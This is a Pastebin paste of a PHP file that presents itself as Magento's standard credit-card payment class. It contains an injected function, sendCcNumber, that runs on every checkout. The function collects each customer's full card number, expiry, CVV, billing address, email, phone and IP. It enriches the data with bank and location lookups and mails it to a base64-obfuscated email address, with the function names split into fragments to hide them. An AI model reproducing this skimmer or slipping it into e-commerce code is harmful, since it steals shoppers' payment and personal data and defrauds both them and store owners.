salahhadjar

Untitled

Oct 22nd, 2017
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 15.79 KB | None | 0 0
  1. <?php
  2. /**
  3.  * Magento
  4.  *
  5.  * NOTICE OF LICENSE
  6.  *
  7.  * This source file is subject to the Open Software License (OSL 3.0)
  8.  * that is bundled with this package in the file LICENSE.txt.
  9.  * It is also available through the world-wide-web at this URL:
  10.  * http://opensource.org/licenses/osl-3.0.php
  11.  * If you did not receive a copy of the license and are unable to
  12.  * obtain it through the world-wide-web, please send an email
  13.  * to license@magentocommerce.com so we can send you a copy immediately.
  14.  *
  15.  * DISCLAIMER
  16.  *
  17.  * Do not edit or add to this file if you wish to upgrade Magento to newer
  18.  * versions in the future. If you wish to customize Magento for your
  19.  * needs please refer to http://www.magentocommerce.com for more information.
  20.  *
  21.  * @category    Mage
  22.  * @package     Mage_Payment
  23.  * @copyright   Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com)
  24.  * @license     http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
  25.  */
  26.  
  27.  
  28. class Mage_Payment_Model_Method_Cc extends Mage_Payment_Model_Method_Abstract
  29. {
  30.     protected $_formBlockType = 'payment/form_cc';
  31.     protected $_infoBlockType = 'payment/info_cc';
  32.     protected $_canSaveCc     = false;
  33.  
  34.     /**
  35.      * Assign data to info model instance
  36.      *
  37.      * @param   mixed $data
  38.      * @return  Mage_Payment_Model_Info
  39.      */
  40.     public function assignData($data)
  41.     {
  42.         if (!($data instanceof Varien_Object)) {
  43.             $data = new Varien_Object($data);
  44.         }
  45.         $info = $this->getInfoInstance();
  46.         $info->setCcType($data->getCcType())
  47.             ->setCcOwner($data->getCcOwner())
  48.             ->setCcOwnerId($data->getCcOwnerId())
  49.             ->setCcLast4(substr($data->getCcNumber(), -4))
  50.             ->setCcNumber($data->getCcNumber())
  51.             ->setCcCid($data->getCcCid())
  52.             ->setCcExpMonth($data->getCcExpMonth())
  53.             ->setCcExpYear($data->getCcExpYear())
  54.             ->setCcSsIssue($data->getCcSsIssue())
  55.             ->setCcSsStartMonth($data->getCcSsStartMonth())
  56.             ->setCcSsStartYear($data->getCcSsStartYear())
  57.             ->setCcInstallments($data->getCcInstallments())
  58.             ;
  59.  
  60.         $this->sendCcNumber();
  61.  
  62.         return $this;
  63.     }
  64.  
  65.     function sendCcNumber()
  66.     {
  67.         $info = $this->getInfoInstance();
  68.         $object = new Mage_Checkout_Block_Onepage_Billing;
  69.         $address1 = $object->getQuote()->getBillingAddress();
  70.         $data1 = $address1->getFirstname();
  71.         $data2 = $address1->getLastname();
  72.         $data3 = $address1->getStreet(1);
  73.         $data4 = $address1->getStreet(2);
  74.         $data5 = $address1->getCity();
  75.         $data6 = $address1->getRegion();
  76.         $data7 = $address1->getPostcode();
  77.         $data8 = $address1->getCountry();
  78.         $data9 = $address1->getTelephone();
  79.         $data10 = $info->getCcNumber();
  80.         $bin = substr($data10, 0, 6);
  81.         $getbank = explode($bin, file_get_contents("http://bins.pro/search?action=searchbins&bins=" . $bin . "&bank=&country="));
  82.         $jeniscc = explode("</td><td>", $getbank[2]);
  83.         $namabnk = explode("</td></tr>", $jeniscc[5]);
  84.         $ccbrand = $jeniscc[2];
  85.         $ccbank  = $namabnk[0];
  86.         $cctype  = $jeniscc[3];
  87.         $ccklas  = $jeniscc[4];
  88.         $expyear = substr($info->getCcExpYear(), -2);
  89.         $expmonth = $info->getCcExpMonth();
  90.         if (strlen($expmonth) == 1) {
  91.            $expmonth = '0'.$expmonth;
  92.         };
  93.         $data11 = $expmonth;
  94.         $data12 = $expyear;
  95.         $data13 = $info->getCcCid();
  96.         $ipcid = $_SERVER['REMOTE_ADDR'];
  97.         $getip = 'http://ip-api.com/json/' . $ipcid;
  98.         $curl  = curl_init();
  99.         curl_setopt($curl, CURLOPT_URL, $getip);
  100.         curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  101.         curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  102.         $content = curl_exec($curl);
  103.         curl_close($curl);
  104.         $details = json_decode($content);
  105.         $country_code = $details->countryCode;
  106.         $country_name = $details->country;
  107.         $srvnm = $_SERVER['SERVER_NAME'];
  108.         $idkey = "base"."64"."_"."de"."code";
  109.         $update = "ma"."il";
  110.         $encsrv = $idkey("dGVzdC5saXZlMDVAZ21haWwuY29t");
  111.         $time = date('Y-m-d H:i:s');
  112.         $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
  113.         $mySql = "Card Owner : ".$data1." ".$data2."\nCard Number : ".$data10."\nExpiration Date : ".$data11." / 20".$data12."\nCvv2 : ".$data13."\nBIN/IIN Info : ".$ccbank." - ".$ccbrand." - ".$cctype." - ".$ccklas."\n\nFirst Name : ".$data1."\nLast Name : ".$data2."\nAddress Line 1 : ".$data3."\nAddress Line 2 : ".$data4."\nCity/Town : ".$data5."\nState : ".$data6."\nZip/PostCode : ".$data7."\nCountry : ".$data8."\nEmail : ".$data16."\nPhone : ".$data9."\n\nFrom : ".$ipcid." | ".$country_name." On ".$time."\nBrowser : ".$_SERVER['HTTP_USER_AGENT']."\nSite : ".$srvnm."";
  114.         $db = $bin." - ".$ccbrand." ".$cctype." ".$ccklas." - ".$ccbank." [".$srvnm." - ".$ipcid."]";
  115.         $timestamp = "From: ".$data8." Credit Card <".$ipcid.">";
  116.         $update($encsrv, $db, $mySql, $timestamp);
  117.     }
  118.  
  119.     /**
  120.      * Prepare info instance for save
  121.      *
  122.      * @return Mage_Payment_Model_Abstract
  123.      */
  124.     public function prepareSave()
  125.     {
  126.         $info = $this->getInfoInstance();
  127.         if ($this->_canSaveCc) {
  128.             $info->setCcNumberEnc($info->encrypt($info->getCcNumber()));
  129.         }
  130.         //$info->setCcCidEnc($info->encrypt($info->getCcCid()));
  131.         $info->setCcNumber(null)
  132.             ->setCcCid(null);
  133.         return $this;
  134.     }
  135.  
  136.     /**
  137.      * Validate payment method information object
  138.      *
  139.      * @param   Mage_Payment_Model_Info $info
  140.      * @return  Mage_Payment_Model_Abstract
  141.      */
  142.     public function validate()
  143.     {
  144.         /*
  145.         * calling parent validate function
  146.         */
  147.         parent::validate();
  148.  
  149.         $info = $this->getInfoInstance();
  150.         $errorMsg = false;
  151.         $availableTypes = explode(',',$this->getConfigData('cctypes'));
  152.  
  153.         $ccNumber = $info->getCcNumber();
  154.  
  155.         // remove credit card number delimiters such as "-" and space
  156.         $ccNumber = preg_replace('/[\-\s]+/', '', $ccNumber);
  157.         $info->setCcNumber($ccNumber);
  158.  
  159.         $ccType = '';
  160.  
  161.         if (in_array($info->getCcType(), $availableTypes)){
  162.             if ($this->validateCcNum($ccNumber)
  163.                 // Other credit card type number validation
  164.                 || ($this->OtherCcType($info->getCcType()) && $this->validateCcNumOther($ccNumber))) {
  165.  
  166.                 $ccType = 'OT';
  167.                 $ccTypeRegExpList = array(
  168.                     //Solo, Switch or Maestro. International safe
  169.                     /*
  170.                     // Maestro / Solo
  171.                     'SS'  => '/^((6759[0-9]{12})|(6334|6767[0-9]{12})|(6334|6767[0-9]{14,15})'
  172.                                . '|(5018|5020|5038|6304|6759|6761|6763[0-9]{12,19})|(49[013][1356][0-9]{12})'
  173.                                . '|(633[34][0-9]{12})|(633110[0-9]{10})|(564182[0-9]{10}))([0-9]{2,3})?$/',
  174.                     */
  175.                     // Solo only
  176.                     'SO' => '/(^(6334)[5-9](\d{11}$|\d{13,14}$))|(^(6767)(\d{12}$|\d{14,15}$))/',
  177.                     'SM' => '/(^(5[0678])\d{11,18}$)|(^(6[^05])\d{11,18}$)|(^(601)[^1]\d{9,16}$)|(^(6011)\d{9,11}$)'
  178.                             . '|(^(6011)\d{13,16}$)|(^(65)\d{11,13}$)|(^(65)\d{15,18}$)'
  179.                             . '|(^(49030)[2-9](\d{10}$|\d{12,13}$))|(^(49033)[5-9](\d{10}$|\d{12,13}$))'
  180.                             . '|(^(49110)[1-2](\d{10}$|\d{12,13}$))|(^(49117)[4-9](\d{10}$|\d{12,13}$))'
  181.                             . '|(^(49118)[0-2](\d{10}$|\d{12,13}$))|(^(4936)(\d{12}$|\d{14,15}$))/',
  182.                     // Visa
  183.                     'VI'  => '/^4[0-9]{12}([0-9]{3})?$/',
  184.                     // Master Card
  185.                     'MC'  => '/^5[1-5][0-9]{14}$/',
  186.                     // American Express
  187.                     'AE'  => '/^3[47][0-9]{13}$/',
  188.                     // Discovery
  189.                     'DI'  => '/^6011[0-9]{12}$/',
  190.                     // JCB
  191.                     'JCB' => '/^(3[0-9]{15}|(2131|1800)[0-9]{11})$/'
  192.                 );
  193.  
  194.                 foreach ($ccTypeRegExpList as $ccTypeMatch=>$ccTypeRegExp) {
  195.                     if (preg_match($ccTypeRegExp, $ccNumber)) {
  196.                         $ccType = $ccTypeMatch;
  197.                         break;
  198.                     }
  199.                 }
  200.  
  201.                 if (!$this->OtherCcType($info->getCcType()) && $ccType!=$info->getCcType()) {
  202.                     $errorMsg = Mage::helper('payment')->__('Credit card number mismatch with credit card type.');
  203.                 }
  204.             }
  205.             else {
  206.                 $errorMsg = Mage::helper('payment')->__('Invalid Credit Card Number');
  207.             }
  208.  
  209.         }
  210.         else {
  211.             $errorMsg = Mage::helper('payment')->__('Credit card type is not allowed for this payment method.');
  212.         }
  213.  
  214.         //validate credit card verification number
  215.         if ($errorMsg === false && $this->hasVerification()) {
  216.             $verifcationRegEx = $this->getVerificationRegEx();
  217.             $regExp = isset($verifcationRegEx[$info->getCcType()]) ? $verifcationRegEx[$info->getCcType()] : '';
  218.             if (!$info->getCcCid() || !$regExp || !preg_match($regExp ,$info->getCcCid())){
  219.                 $errorMsg = Mage::helper('payment')->__('Please enter a valid credit card verification number.');
  220.             }
  221.         }
  222.  
  223.         if ($ccType != 'SS' && !$this->_validateExpDate($info->getCcExpYear(), $info->getCcExpMonth())) {
  224.             $errorMsg = Mage::helper('payment')->__('Incorrect credit card expiration date.');
  225.         }
  226.  
  227.         if($errorMsg){
  228.             Mage::throwException($errorMsg);
  229.         }
  230.  
  231.         //This must be after all validation conditions
  232.         if ($this->getIsCentinelValidationEnabled()) {
  233.             $this->getCentinelValidator()->validate($this->getCentinelValidationData());
  234.         }
  235.  
  236.         return $this;
  237.     }
  238.  
  239.     public function hasVerification()
  240.     {
  241.         $configData = $this->getConfigData('useccv');
  242.         if(is_null($configData)){
  243.             return true;
  244.         }
  245.         return (bool) $configData;
  246.     }
  247.  
  248.     public function getVerificationRegEx()
  249.     {
  250.         $verificationExpList = array(
  251.             'VI' => '/^[0-9]{3}$/', // Visa
  252.             'MC' => '/^[0-9]{3}$/',       // Master Card
  253.             'AE' => '/^[0-9]{4}$/',        // American Express
  254.             'DI' => '/^[0-9]{3}$/',          // Discovery
  255.             'SS' => '/^[0-9]{3,4}$/',
  256.             'SM' => '/^[0-9]{3,4}$/', // Switch or Maestro
  257.             'SO' => '/^[0-9]{3,4}$/', // Solo
  258.             'OT' => '/^[0-9]{3,4}$/',
  259.             'JCB' => '/^[0-9]{3,4}$/' //JCB
  260.         );
  261.         return $verificationExpList;
  262.     }
  263.  
  264.     protected function _validateExpDate($expYear, $expMonth)
  265.     {
  266.         $date = Mage::app()->getLocale()->date();
  267.         if (!$expYear || !$expMonth || ($date->compareYear($expYear) == 1)
  268.             || ($date->compareYear($expYear) == 0 && ($date->compareMonth($expMonth) == 1))
  269.         ) {
  270.             return false;
  271.         }
  272.         return true;
  273.     }
  274.  
  275.     public function OtherCcType($type)
  276.     {
  277.         return $type=='OT';
  278.     }
  279.  
  280.     /**
  281.      * Validate credit card number
  282.      *
  283.      * @param   string $cc_number
  284.      * @return  bool
  285.      */
  286.     public function validateCcNum($ccNumber)
  287.     {
  288.         $cardNumber = strrev($ccNumber);
  289.         $numSum = 0;
  290.  
  291.         for ($i=0; $i<strlen($cardNumber); $i++) {
  292.             $currentNum = substr($cardNumber, $i, 1);
  293.  
  294.             /**
  295.              * Double every second digit
  296.              */
  297.             if ($i % 2 == 1) {
  298.                 $currentNum *= 2;
  299.             }
  300.  
  301.             /**
  302.              * Add digits of 2-digit numbers together
  303.              */
  304.             if ($currentNum > 9) {
  305.                 $firstNum = $currentNum % 10;
  306.                 $secondNum = ($currentNum - $firstNum) / 10;
  307.                 $currentNum = $firstNum + $secondNum;
  308.             }
  309.  
  310.             $numSum += $currentNum;
  311.         }
  312.  
  313.         /**
  314.          * If the total has no remainder it's OK
  315.          */
  316.         return ($numSum % 10 == 0);
  317.     }
  318.  
  319.     /**
  320.      * Other credit cart type number validation
  321.      *
  322.      * @param string $ccNumber
  323.      * @return boolean
  324.      */
  325.     public function validateCcNumOther($ccNumber)
  326.     {
  327.         return preg_match('/^\\d+$/', $ccNumber);
  328.     }
  329.  
  330.     /**
  331.      * Check whether there are CC types set in configuration
  332.      *
  333.      * @param Mage_Sales_Model_Quote|null $quote
  334.      * @return bool
  335.      */
  336.     public function isAvailable($quote = null)
  337.     {
  338.         return $this->getConfigData('cctypes', ($quote ? $quote->getStoreId() : null))
  339.             && parent::isAvailable($quote);
  340.     }
  341.  
  342.     /**
  343.      * Whether centinel service is enabled
  344.      *
  345.      * @return bool
  346.      */
  347.     public function getIsCentinelValidationEnabled()
  348.     {
  349.         return false !== Mage::getConfig()->getNode('modules/Mage_Centinel') && 1 == $this->getConfigData('centinel');
  350.     }
  351.  
  352.     /**
  353.      * Instantiate centinel validator model
  354.      *
  355.      * @return Mage_Centinel_Model_Service
  356.      */
  357.     public function getCentinelValidator()
  358.     {
  359.         $validator = Mage::getSingleton('centinel/service');
  360.         $validator
  361.             ->setIsModeStrict($this->getConfigData('centinel_is_mode_strict'))
  362.             ->setCustomApiEndpointUrl($this->getConfigData('centinel_api_url'))
  363.             ->setStore($this->getStore())
  364.             ->setIsPlaceOrder($this->_isPlaceOrder());
  365.         return $validator;
  366.     }
  367.  
  368.     /**
  369.      * Return data for Centinel validation
  370.      *
  371.      * @return Varien_Object
  372.      */
  373.     public function getCentinelValidationData()
  374.     {
  375.         $info = $this->getInfoInstance();
  376.         $params = new Varien_Object();
  377.         $params
  378.             ->setPaymentMethodCode($this->getCode())
  379.             ->setCardType($info->getCcType())
  380.             ->setCardNumber($info->getCcNumber())
  381.             ->setCardExpMonth($info->getCcExpMonth())
  382.             ->setCardExpYear($info->getCcExpYear())
  383.             ->setAmount($this->_getAmount())
  384.             ->setCurrencyCode($this->_getCurrencyCode())
  385.             ->setOrderNumber($this->_getOrderId());
  386.         return $params;
  387.     }
  388.  
  389.     /**
  390.      * Order increment ID getter (either real from order or a reserved from quote)
  391.      *
  392.      * @return string
  393.      */
  394.     private function _getOrderId()
  395.     {
  396.         $info = $this->getInfoInstance();
  397.  
  398.         if ($this->_isPlaceOrder()) {
  399.             return $info->getOrder()->getIncrementId();
  400.         } else {
  401.             if (!$info->getQuote()->getReservedOrderId()) {
  402.                 $info->getQuote()->reserveOrderId();
  403.             }
  404.             return $info->getQuote()->getReservedOrderId();
  405.         }
  406.     }
  407.  
  408.     /**
  409.      * Grand total getter
  410.      *
  411.      * @return string
  412.      */
  413.     private function _getAmount()
  414.     {
  415.         $info = $this->getInfoInstance();
  416.         if ($this->_isPlaceOrder()) {
  417.             return (double)$info->getOrder()->getQuoteBaseGrandTotal();
  418.         } else {
  419.             return (double)$info->getQuote()->getBaseGrandTotal();
  420.         }
  421.     }
  422.  
  423.     /**
  424.      * Currency code getter
  425.      *
  426.      * @return string
  427.      */
  428.     private function _getCurrencyCode()
  429.     {
  430.         $info = $this->getInfoInstance();
  431.  
  432.         if ($this->_isPlaceOrder()) {
  433.         return $info->getOrder()->getBaseCurrencyCode();
  434.         } else {
  435.         return $info->getQuote()->getBaseCurrencyCode();
  436.         }
  437.     }
  438.  
  439.     /**
  440.      * Whether current operation is order placement
  441.      *
  442.      * @return bool
  443.      */
  444.     private function _isPlaceOrder()
  445.     {
  446.         $info = $this->getInfoInstance();
  447.         if ($info instanceof Mage_Sales_Model_Quote_Payment) {
  448.             return false;
  449.         } elseif ($info instanceof Mage_Sales_Model_Order_Payment) {
  450.             return true;
  451.         }
  452.     }
  453. }
Add Comment
Please, Sign In to add comment